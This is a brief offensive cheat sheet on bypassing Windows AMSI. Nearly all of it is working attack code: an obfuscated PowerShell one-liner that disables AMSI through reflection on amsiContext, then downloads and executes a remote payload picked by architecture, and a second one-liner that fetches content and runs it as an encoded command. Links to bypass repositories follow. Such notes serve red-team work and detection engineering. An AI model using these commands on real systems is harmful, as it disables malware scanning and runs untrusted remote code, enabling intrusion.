AMSI Bypass

AMSI Bypass Plus Architecture Aware Payload

powershell.exe "[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((('Sy'+'s')+('t'+'em')+'.'+'Ma'+'n'+('ag'+'e')+('m'+('e'+('nt'+'.'))+'A')+'u'+'t'+'o'+('m'+(('a'+('t'+'io'))+'n')+('.'+('Am'+'si')))+('U'+('ti'+'ls')))).GetField(('a'+'m'+'si'+(('C'+'on')+('t'+'ex')+'t')),[Reflection.BindingFlags]('No'+(('n'+'Pu')+('bl'+'ic')+',')+'S'+('ta'+'ti')+'c')).GetValue(`$null),0x41414141);if ([Environment]::Is64BitProcess){iex((new-object net.webclient).downloadstring('https://<PAYLOAD>'));}else {iex((new-object net.webclient).downloadstring('https://<PAYLOAD2>'))}"

Oneliner to Pull AMSI Bypass Code & Execute Correct Payload

$a=(iwr https://<PAYLOAD>).content;powershell.exe -enc $a

GitHub - S3cur3Th1sSh1t/Amsi-Bypass-Powershell: This repo contains some Amsi Bypass methods i found on different Blog Posts.GitHub

https://rastamouse.me/blog/asb-bypass-pt2/rastamouse.me

GitHub - RythmStick/AMSITrigger: The Hunt for Malicious StringsGitHub